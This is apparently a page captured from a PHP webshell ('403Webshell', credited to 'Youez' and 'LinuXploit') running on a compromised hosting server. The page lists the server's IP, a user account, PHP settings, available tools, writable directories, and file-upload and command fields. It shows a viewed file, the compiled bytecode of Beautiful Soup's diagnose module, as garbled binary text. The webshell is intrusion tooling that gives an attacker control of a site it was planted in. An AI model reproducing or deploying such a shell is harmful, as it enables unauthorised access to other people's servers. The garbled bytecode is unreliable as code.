403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.117.232.234
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/bs4/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/bs4/__pycache__/diagnose.cpython-37.pyc
B

�.�`��@sdZdZddlZddlmZddlmZddlZddlmZm	Z	ddl
mZddlZddl
Z
ddlZddlZddlZddlZddlZddlZdd	�Zd#dd�ZGd
d�de�Zdd�ZdZdZd$dd�Zd%dd�Zd&dd�Zd'dd�Zd(d d!�Zed"k�reej� ��dS))z=Diagnostic functions, mainly for use when doing tech support.�MIT�N)�StringIO)�
HTMLParser)�
BeautifulSoup�__version__)�builder_registrycCs<tdt�tdtj�dddg}x>|D]6}x0tjD]}||jkr6Pq6W|�|�td|�q*Wd|kr�|�ddg�y*dd	l	m
}td
d�tt
|j���Wn*tk
r�}ztd�Wd
d
}~XYnXd|k�r"ydd
l}td|j�Wn,tk
�r }ztd�Wd
d
}~XYnXt|d��r8|��}nhtj�|��rptd|�t|��}|��}Wd
QRXn0|�d��s�|�d��r�td|�td�d
St�x�|D]�}td|�d}	yt||�}
d}	Wn8tk
�r
}ztd|�t��Wd
d
}~XYnX|	�r*td|�t|
���td��q�Wd
S)z/Diagnostic suite for isolating common problems.z'Diagnostic running on Beautiful Soup %szPython version %szhtml.parser�html5lib�lxmlz;I noticed that %s is not installed. Installing it may help.�xmlr)�etreezFound lxml version %s�.z.lxml is not installed or couldn't be imported.NzFound html5lib version %sz2html5lib is not installed or couldn't be imported.�readz7"%s" looks like a filename. Reading data from the file.zhttp:zhttps:z<"%s" looks like a URL. Beautiful Soup is not an HTTP client.zpYou need to use some other library to get the document behind the URL, and feed that document to Beautiful Soup.z#Trying to parse your markup with %sFTz%s could not parse the markup.z#Here's what %s did with the markup:zP--------------------------------------------------------------------------------)�printr�sys�versionrZbuilders�features�remove�appendr	r�join�map�strZLXML_VERSION�ImportErrorr�hasattrr
�os�path�exists�open�
startswithr�	Exception�	traceback�	print_excZprettify)�dataZ
basic_parsers�nameZbuilderr�er�fp�parser�success�soup�r(�=/opt/alt/python37/lib/python3.7/site-packages/bs4/diagnose.py�diagnosesd








r*TcKsNddlm}x<|jt|�fd|i|��D]\}}td||j|jf�q(WdS)z�Print out the lxml events that occur during parsing.

    This lets you see how lxml parses a document when no Beautiful
    Soup code is running.
    r)r�htmlz%s, %4s, %sN)r	rZ	iterparserr�tag�text)r!r+�kwargsr�event�elementr(r(r)�
lxml_traceTs$r1c@s`eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dS)�AnnouncingParserz?Announces HTMLParser parse events, without doing anything else.cCst|�dS)N)r)�self�sr(r(r)�_paszAnnouncingParser._pcCs|�d|�dS)Nz%s START)r5)r3r"�attrsr(r(r)�handle_starttagdsz AnnouncingParser.handle_starttagcCs|�d|�dS)Nz%s END)r5)r3r"r(r(r)�
handle_endtaggszAnnouncingParser.handle_endtagcCs|�d|�dS)Nz%s DATA)r5)r3r!r(r(r)�handle_datajszAnnouncingParser.handle_datacCs|�d|�dS)Nz
%s CHARREF)r5)r3r"r(r(r)�handle_charrefmszAnnouncingParser.handle_charrefcCs|�d|�dS)Nz%s ENTITYREF)r5)r3r"r(r(r)�handle_entityrefpsz!AnnouncingParser.handle_entityrefcCs|�d|�dS)Nz
%s COMMENT)r5)r3r!r(r(r)�handle_commentsszAnnouncingParser.handle_commentcCs|�d|�dS)Nz%s DECL)r5)r3r!r(r(r)�handle_declvszAnnouncingParser.handle_declcCs|�d|�dS)Nz%s UNKNOWN-DECL)r5)r3r!r(r(r)�unknown_declyszAnnouncingParser.unknown_declcCs|�d|�dS)Nz%s PI)r5)r3r!r(r(r)�	handle_pi|szAnnouncingParser.handle_piN)�__name__�
__module__�__qualname__�__doc__r5r7r8r9r:r;r<r=r>r?r(r(r(r)r2^sr2cCst�}|�|�dS)z�Print out the HTMLParser events that occur during parsing.

    This lets you see how HTMLParser parses a document when no
    Beautiful Soup code is running.
    N)r2�feed)r!r%r(r(r)�htmlparser_tracesrEZaeiouZbcdfghjklmnpqrstvwxyz�cCs>d}x4t|�D](}|ddkr$t}nt}|t�|�7}qW|S)z#Generate a random word-like string.��r)�range�_consonants�_vowels�random�choice)�lengthr4�i�tr(r(r)�rword�srQ�cCsd�dd�t|�D��S)z'Generate a random sentence-like string.� css|]}tt�dd��VqdS)rR�	N)rQrL�randint)�.0rOr(r(r)�	<genexpr>�szrsentence.<locals>.<genexpr>)rrI)rNr(r(r)�	rsentence�srX��cCs�dddddddg}g}x~t|�D]r}t�dd	�}|dkrRt�|�}|�d
|�q |dkrr|�tt�dd���q |d
kr t�|�}|�d|�q Wdd�|�dS)z+Randomly generate an invalid HTML document.�pZdiv�spanrO�b�script�tabler�z<%s>�rRrHz</%s>z<html>�
z</html>)rIrLrUrMrrXr)�num_elementsZ	tag_names�elementsrOrMZtag_namer(r(r)�rdoc�s

rd順c
Cs(tdt�t|�}tdt|��x�dddgddgD]z}d}y"t��}t||�}t��}d}Wn6tk
r�}ztd	|�t��Wd
d
}~XYnX|r6td|||f�q6Wdd
l	m
}t��}|�|�t��}td||�dd
l}	|	�
�}t��}|�|�t��}td||�d
S)z.Very basic head-to-head performance benchmark.z1Comparative parser benchmark on Beautiful Soup %sz3Generated a large invalid HTML document (%d bytes).r	r+rzhtml.parserFTz%s could not parse the markup.Nz"BS4+%s parsed the markup in %.2fs.r)rz$Raw lxml parsed the markup in %.2fs.z(Raw html5lib parsed the markup in %.2fs.)rrrd�len�timerrrr r	rZHTMLrr�parse)
rbr!r%r&�ar'r\r#rrr(r(r)�benchmark_parsers�s4


rjr	cCsXt��}|j}t|�}tt||d�}t�d|||�t�	|�}|�
d�|�dd�dS)N)�bs4r!r%zbs4.BeautifulSoup(data, parser)Z
cumulativez
_html5lib|bs4�2)�tempfile�NamedTemporaryFiler"rd�dictrk�cProfileZrunctx�pstatsZStatsZ
sort_statsZprint_stats)rbr%Z
filehandle�filenamer!�varsZstatsr(r(r)�profile�s

rt�__main__)T)rF)rR)rY)re)rer	)!rC�__license__rp�iorZhtml.parserrrkrrZbs4.builderrrrqrLrmrgrrr*r1r2rErKrJrQrXrdrjrtr@�stdinr
r(r(r(r)�<module>s8=

!	



 



Youez - 2016 - github.com/yon3zu
LinuXploit